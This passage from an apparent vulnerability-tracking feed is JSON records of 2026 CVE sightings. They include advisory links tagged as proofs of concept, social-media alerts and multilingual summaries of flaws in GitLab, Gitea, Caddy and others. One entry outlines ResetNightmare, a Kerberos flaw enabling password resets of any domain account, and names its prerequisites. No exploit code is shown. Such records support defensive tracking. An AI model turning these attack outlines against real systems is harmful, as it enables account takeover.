"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27836", "type": "published-proof-of-concept", "source": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w22q-m2fm-x9f4", "content": "", "creation_timestamp": "2026-02-27T12:36:41.000000Z"}, {"uuid": "52c68f3b-2cb7-4261-b9e0-4cdc6e5eef39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27589", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-879p-475x-rqh2", "content": "", "creation_timestamp": "2026-02-24T20:37:35.000000Z"}, {"uuid": "82310c1e-3d31-4578-895a-f58f34e64ae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27612", "type": "published-proof-of-concept", "source": "https://github.com/denpiligrim/repostat/security/advisories/GHSA-fm8c-6m29-rp6j", "content": "", "creation_timestamp": "2026-02-21T16:44:48.000000Z"}, {"uuid": "d289b752-d85a-4860-9f7d-552dde6b1bbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27590", "type": "published-proof-of-concept", "source": "https://github.com/caddyserver/caddy/security/advisories/GHSA-5r3v-vc8m-m96g", "content": "", "creation_timestamp": "2026-02-23T04:22:08.000000Z"}, {"uuid": "6a987411-48d2-47f3-8245-a4361b327307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27586", "type": "published-proof-of-concept", "source": "https://github.com/caddyserver/caddy/security/advisories/GHSA-hffm-g8v7-wrv7", "content": "", "creation_timestamp": "2026-02-23T04:24:19.000000Z"}, {"uuid": "76a529fe-e8b1-4578-b966-a83ea7e9c4f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27966", "type": "published-proof-of-concept", "source": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-3645-fxcv-hqr4", "content": "", "creation_timestamp": "2026-02-25T19:06:33.000000Z"}, {"uuid": "c15aed6e-0540-4c74-946d-e761f50cdfeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27638", "type": "published-proof-of-concept", "source": "https://github.com/actualbudget/actual/security/advisories/GHSA-qmjj-p7m9-wjrv", "content": "", "creation_timestamp": "2026-02-26T22:04:01.000000Z"}, {"uuid": "f006e22b-9561-4dd6-862c-4b7671d20a96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27016", "type": "published-proof-of-concept", "source": "https://github.com/librenms/librenms/security/advisories/GHSA-fqx6-693c-f55g", "content": "", "creation_timestamp": "2026-02-17T00:36:01.000000Z"}, {"uuid": "2ff83f3a-1382-4c18-9e30-e6eff2b23323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27167", "type": "published-proof-of-concept", "source": "https://github.com/gradio-app/gradio/security/advisories/GHSA-h3h8-3v2v-rg7m", "content": "", "creation_timestamp": "2026-02-27T20:23:08.000000Z"}, {"uuid": "fe2ca9a3-b921-4e30-b7a9-ac094d14fe40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27905", "type": "published-proof-of-concept", "source": "https://github.com/bentoml/BentoML/security/advisories/GHSA-m6w7-qv66-g3mf", "content": "", "creation_timestamp": "2026-03-03T07:56:29.000000Z"}, {"uuid": "2f47b324-b220-4269-a031-ad9b840944e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27012", "type": "published-proof-of-concept", "source": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-247v-7cw6-q57v", "content": "", "creation_timestamp": "2026-03-03T15:31:08.000000Z"}, {"uuid": "165a4b9b-6cc0-4e65-adc5-38773c350cc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27734", "type": "published-proof-of-concept", "source": "https://github.com/henrygd/beszel/security/advisories/GHSA-phwh-4f42-gwf3", "content": "", "creation_timestamp": "2026-02-27T16:43:51.000000Z"}, {"uuid": "d16c2541-8bdd-419f-84f9-466913153e25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27829", "type": "published-proof-of-concept", "source": "https://github.com/withastro/astro/security/advisories/GHSA-cj9f-h6r6-4cx2", "content": "", "creation_timestamp": "2026-02-23T13:07:36.000000Z"}, {"uuid": "c011875e-8772-438d-a201-7c8d1e881370", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27616", "type": "published-proof-of-concept", "source": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-7jp5-298q-jg98", "content": "", "creation_timestamp": "2026-02-25T13:53:04.000000Z"}, {"uuid": "529ee57b-aebe-4ab9-9c09-2c2948ae02a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27116", "type": "published-proof-of-concept", "source": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-4qgr-4h56-8895", "content": "", "creation_timestamp": "2026-02-25T13:53:31.000000Z"}, {"uuid": "18be7a8e-44f3-4182-b50d-f57d6c203e2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27626", "type": "published-proof-of-concept", "source": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-49gm-hh7w-wfvf", "content": "", "creation_timestamp": "2026-02-22T17:27:28.000000Z"}, {"uuid": "cf85753d-3b32-4d4f-a7e8-c8724819c417", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27728", "type": "published-proof-of-concept", "source": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-jmhp-5558-qxh5", "content": "", "creation_timestamp": "2026-02-23T13:00:06.000000Z"}, {"uuid": "75ca9d05-b231-40f2-af4b-fea0a1128352", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27598", "type": "published-proof-of-concept", "source": "https://github.com/dagucloud/dagu/security/advisories/GHSA-6v48-fcq6-ff23", "content": "", "creation_timestamp": "2026-02-21T00:22:15.000000Z"}, {"uuid": "17577f40-759e-4531-ad69-ae4356a182c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27588", "type": "published-proof-of-concept", "source": "https://github.com/caddyserver/caddy/security/advisories/GHSA-x76f-jf84-rqj8", "content": "", "creation_timestamp": "2026-02-23T04:23:55.000000Z"}, {"uuid": "824a9c79-43b1-452d-bf64-b03a89c08953", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27587", "type": "published-proof-of-concept", "source": "https://github.com/caddyserver/caddy/security/advisories/GHSA-g7pc-pc7g-h8jh", "content": "", "creation_timestamp": "2026-02-23T04:24:08.000000Z"}, {"uuid": "b1b87203-d9ff-4b1d-aed1-3a9531bd9995", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27585", "type": "published-proof-of-concept", "source": "https://github.com/caddyserver/caddy/security/advisories/GHSA-4xrr-hq4w-6vf4", "content": "", "creation_timestamp": "2026-02-23T04:21:54.000000Z"}, {"uuid": "57a69c64-dec5-4cf1-a214-227a253f65c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27822", "type": "published-proof-of-concept", "source": "https://github.com/rustfs/rustfs/security/advisories/GHSA-v9fg-3cr2-277j", "content": "", "creation_timestamp": "2026-02-24T11:12:07.000000Z"}, {"uuid": "74cc40b3-a184-4abb-83fa-cee54c55794c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27730", "type": "published-proof-of-concept", "source": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r", "content": "", "creation_timestamp": "2026-02-25T07:14:26.000000Z"}, {"uuid": "dcf6ec88-dac4-4a07-aa2f-1970132da982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27606", "type": "published-proof-of-concept", "source": "https://github.com/rollup/rollup/security/advisories/GHSA-mw96-cpmx-2vgc", "content": "", "creation_timestamp": "2026-02-23T19:59:38.000000Z"}, {"uuid": "39c89d90-4a4f-4a11-99fb-09f24054224a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27729", "type": "published-proof-of-concept", "source": "https://github.com/withastro/astro/security/advisories/GHSA-jm64-8m5q-4qh8", "content": "", "creation_timestamp": "2026-02-23T13:07:42.000000Z"}, {"uuid": "fde587b4-6181-4b50-b1ac-880205a74cc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27696", "type": "published-proof-of-concept", "source": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-3c45-4pj5-ch7m", "content": "", "creation_timestamp": "2026-02-23T20:43:38.000000Z"}, {"uuid": "be344694-9d29-498f-ba21-aedd94abcac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27702", "type": "published-proof-of-concept", "source": "https://github.com/Budibase/budibase/security/advisories/GHSA-rvhr-26g4-p2r8", "content": "", "creation_timestamp": "2026-02-23T17:16:12.000000Z"}, {"uuid": "0c28f4b2-cff7-418f-b29f-1b9b0ba74804", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27645", "type": "published-proof-of-concept", "source": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w", "content": "", "creation_timestamp": "2026-02-23T20:40:13.000000Z"}, {"uuid": "8d711595-b19e-40f5-a3c7-cecef79da325", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27597", "type": "published-proof-of-concept", "source": "https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942", "content": "", "creation_timestamp": "2026-02-22T21:10:36.000000Z"}, {"uuid": "e9ad5398-8002-41f4-a100-f5f1ed162dbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27621", "type": "published-proof-of-concept", "source": "https://github.com/typicms/core/security/advisories/GHSA-xfvg-8v67-j7wp", "content": "", "creation_timestamp": "2026-02-21T22:21:45.000000Z"}, {"uuid": "fe9a8647-6976-4214-9555-7116a081988d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27614", "type": "published-proof-of-concept", "source": "https://github.com/bugsink/bugsink/security/advisories/GHSA-vp6q-7m36-pq3w", "content": "", "creation_timestamp": "2026-02-21T19:34:05.000000Z"}, {"uuid": "ecacaab0-f95b-40f9-a52d-a3e51040ee8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27584", "type": "published-proof-of-concept", "source": "https://github.com/actualbudget/actual/security/advisories/GHSA-m2cq-xjgm-f668", "content": "", "creation_timestamp": "2026-02-20T20:34:17.000000Z"}, {"uuid": "e8c1d17d-eed9-4878-bd28-e9bbc1959e0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27483", "type": "published-proof-of-concept", "source": "https://github.com/mindsdb/minds-platform/security/advisories/GHSA-4894-xqv6-vrfq", "content": "", "creation_timestamp": "2026-02-22T19:31:17.000000Z"}, {"uuid": "bb0c0792-5c56-4799-86e9-9cb13d274719", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27482", "type": "published-proof-of-concept", "source": "https://github.com/ray-project/ray/security/advisories/GHSA-q5fh-2hc8-f6rq", "content": "", "creation_timestamp": "2026-02-20T17:45:59.000000Z"}, {"uuid": "8a04e6c4-31bb-4151-bac8-e45190ec0ae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27212", "type": "published-proof-of-concept", "source": "https://github.com/nolimits4web/swiper/security/advisories/GHSA-hmx5-qpq5-p643", "content": "", "creation_timestamp": "2026-02-18T18:32:29.000000Z"}, {"uuid": "e98f0d7a-5ac8-414c-a2b8-0096ddee7c3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27574", "type": "published-proof-of-concept", "source": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-v264-xqh4-9xmm", "content": "", "creation_timestamp": "2026-02-19T15:15:03.000000Z"}, {"uuid": "79f466ac-7e72-46c6-90e0-5c367a62deae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27190", "type": "published-proof-of-concept", "source": "https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr", "content": "", "creation_timestamp": "2026-02-19T08:16:18.000000Z"}, {"uuid": "57df292c-26c2-491a-b932-bf36f54bd758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "https://t.me/P0x3k_1N73LL1G3NC3/403", "content": "ResetNightmare\n\nResetNightmare (CVE-2026-27912) is a validation flaw in the Kerberos Change Password protocol that allows for resetting the password of any target user/computer account, without knowing the current one. The attack requires an unpatched domain controller, and the ability to write a userPrincipalName (UPN) on any account you control. Alternatively, the vulnerability can also be abused by an attacker having the ability to create new users/computers in any OU, as creating a user/computer allows you to get GenericWrite permissions over it.\n\nBlog: Identity Crisis: Novel Vulnerabilities Leading to Kerberos Downgrade, DoS, and Full Domain Takeover", "creation_timestamp": "2026-08-08T00:06:20.273604Z"}, {"uuid": "803ad5f5-d178-4213-b2dc-e1349eca547c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27490", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtmnr5f7az2l", "content": "\ud83d\udfe0 CVE-2026-27490 - High (7.5)\n\nCombodo iTop is a web based IT service management tool. Prior to 3.2.3, inline images that are ac...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-27490/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-21T21:00:48.274097Z"}, {"uuid": "511c3d3a-5792-4041-b8cb-d2c48ffdb324", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27462", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtmnsnbhom27", "content": "\ud83d\udfe0 CVE-2026-27462 - High (7.5)\n\nCombodo iTop is a web based IT service management tool. Prior to 3.2.3, iTop returns different re...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-27462/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-21T21:01:39.095639Z"}, {"uuid": "fa581e07-0968-4ded-a77d-fc58ae596576", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27174", "type": "seen", "source": "https://t.me/CyberDispatch/1534", "content": "Critical MajorDoMo RCE (CVE-2026-27174): Unauthenticated Remote Code Execution Analysis.", "creation_timestamp": "2026-08-29T20:00:16.286450Z"}, {"uuid": "4bc4ad35-9c59-49ee-aa4f-eae68acd57cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mmvfhmokq32k", "content": "\ud83e\uddf5Durant uns 4 anys, qualsevol ha pogut descarregar imatges \"privades\" de Gitea sense compte ni contrasenya. Hi ha m\u00e9s de 30.000 inst\u00e0ncies afectades en 30 pa\u00efsos. L'etiqueta \"privat\" senzillament no funcionava com s'esperava al registre de contenidors.\nCVE-2026-27771", "creation_timestamp": "2026-05-28T06:29:55.050778Z"}, {"uuid": "42888755-3b01-43b1-9ba3-514be6ae9ee3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mmvfhmoxgd2k", "content": "\ud83e\uddf5Durant uns 4 anys, qualsevol ha pogut descarregar imatges \"privades\" de Gitea sense compte ni contrasenya. Hi ha m\u00e9s de 30.000 inst\u00e0ncies afectades en 30 pa\u00efsos. L'etiqueta \"privat\" senzillament no funcionava com s'esperava al registre de contenidors.\nCVE-2026-27771", "creation_timestamp": "2026-05-28T06:29:55.589484Z"}, {"uuid": "e2e6c796-918b-444d-bd29-1f4a6956067c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mmvfhmozet2k", "content": "\ud83e\uddf5Durant uns 4 anys, qualsevol ha pogut descarregar imatges \"privades\" de Gitea sense compte ni contrasenya. Hi ha m\u00e9s de 30.000 inst\u00e0ncies afectades en 30 pa\u00efsos. L'etiqueta \"privat\" senzillament no funcionava com s'esperava al registre de contenidors.\nCVE-2026-27771", "creation_timestamp": "2026-05-28T06:29:56.268314Z"}, {"uuid": "edba9a30-cbaf-45c4-8d9b-9c96cbd196ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mmvfhmp3dd2k", "content": "\ud83e\uddf5Durant uns 4 anys, qualsevol ha pogut descarregar imatges \"privades\" de Gitea sense compte ni contrasenya. Hi ha m\u00e9s de 30.000 inst\u00e0ncies afectades en 30 pa\u00efsos. L'etiqueta \"privat\" senzillament no funcionava com s'esperava al registre de contenidors.\nCVE-2026-27771", "creation_timestamp": "2026-05-28T06:29:57.119670Z"}, {"uuid": "b57d8319-6dbc-45a8-8fc0-287f51b0c329", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "Telegram/69mEbVY8q7JTbOxcU8Y8fk5qjG-y8rxPRlbyP8YZTdzYGyY", "content": "", "creation_timestamp": "2026-05-27T21:02:13.000000Z"}, {"uuid": "6d0e0033-336c-49fc-a57b-6ac715a1edb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "Telegram/CR33Rmhbqr2sEMDoELtncx05YdfpVXTUFyE7fQfWd38QNhk", "content": "", "creation_timestamp": "2026-05-27T21:00:04.000000Z"}, {"uuid": "a6bda2a6-77b1-4be0-a04a-2b2009f42789", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27384", "type": "seen", "source": "Telegram/GF77XqZ1LHaWDL2kD1JemKeP32DvhHpTDQqckw5Eq33XXvc", "content": "", "creation_timestamp": "2026-05-27T21:10:45.000000Z"}, {"uuid": "30a94546-a964-4160-9c0f-c4e63d37e02b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2710", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0168", "content": "", "creation_timestamp": "2026-05-27T23:49:55.000000Z"}, {"uuid": "696dec73-2526-4976-9415-d386545788cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2710", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0168", "content": "GitLab heeft meerdere kwetsbaarheden verholpen in GitLab Community Edition en Enterprise Edition, specifiek in versies 12.7 tot voor 18.10.7, 18.11 tot voor 18.11.4, en 19.0 tot voor 19.0.1. De kwetsbaarheden betreffen verschillende aspecten van authenticatie, autorisatie en validatie binnen GitLab. Een denial of service kan worden veroorzaakt door onvoldoende validatie, waarbij een geauthenticeerde gebruiker de beschikbaarheid van de dienst kan verstoren. Daarnaast kunnen gebruikers met developer-permissies ongeautoriseerd toegang krijgen tot gevoelige deploymentdata door onjuiste autorisatiecontroles. Verder is er een probleem met onjuiste gebruikersidentiteitsresolutie, waardoor een geauthenticeerde gebruiker Duo AI-workflows kan activeren alsof hij een andere gebruiker is, wat leidt tot identiteitsvervalsing binnen deze workflows. Ook kunnen developer-rollen flowbeperkingen omzeilen die op groepsniveau zijn ingesteld, wat de toegangscontrole en workflow governance be\u00efnvloedt. Een andere kwetsbaarheid maakt het mogelijk voor onbevoegde gebruikers om private projecten te enumereren, wat kan leiden tot blootstelling van gevoelige projectinformatie. Ten slotte kunnen geauthenticeerde gebruikers toegang krijgen tot continuous integration (CI) data die niet voor hen bedoeld is, door een fout in de toegangscontrole voor CI-data.\n\nDe kwetsbaarheid met kenmerk CVE-2026-2710 wordt wel genoemd in de releasenotes van GitLab, maar is ingetrokken en heeft geen verdere impact.", "creation_timestamp": "2026-05-28T04:49:55.000000Z"}, {"uuid": "d1958074-f083-44a1-8a91-671eb24e03a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mmvwgj5era2p", "content": "CVE-2026-27771 let unauthenticated users pull private container images from affected Gitea instances via anonymous registry requests.\n", "creation_timestamp": "2026-05-28T11:33:31.603908Z"}, {"uuid": "7ad2367d-86fd-4cec-97a7-95fbb88c4d59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2710", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmvwjfgzfg2c", "content": "\ud83d\udd17 CVE : CVE-2026-1402, CVE-2026-2601, CVE-2026-2710, CVE-2026-4868, CVE-2026-5296, CVE-2026-6713, CVE-2026-8716", "creation_timestamp": "2026-05-28T11:35:07.774139Z"}, {"uuid": "4bdda582-da73-41f4-8269-2b59560e8c7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27142", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mmvxxnmui62c", "content": "\n\ud83d\udea8 New HIGH CVE detected in AWS Lambda \ud83d\udea8\nCVE-2026-27142 impacts libcap in 20 Lambda base images.\n\nDetails: https://github.com/aws/aws-lambda-base-images/issues/532\nMore: https://lambdawatchdog.com/\n\n#AWS #Lambda #CVE #CloudSecurity #Serverless", "creation_timestamp": "2026-05-28T12:00:59.384296Z"}, {"uuid": "07ab76e4-cf1a-43fa-b4b5-c363812a4731", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://t.me/true_secator/8254", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 NoScope \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0435 Git Gitea, \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0430\u0441\u0442\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u0430\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u0438\u0437 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 30 000 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0439.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\u00a0CVE-2026-27771 \u0438 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0435\u0441\u0442\u0440 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 Gitea. Forgejo, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 \u0442\u0443 \u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e, \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442. \u0414\u0440\u0443\u0433\u0438\u0435 \u0444\u043e\u0440\u043a\u0438, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 Gitea, 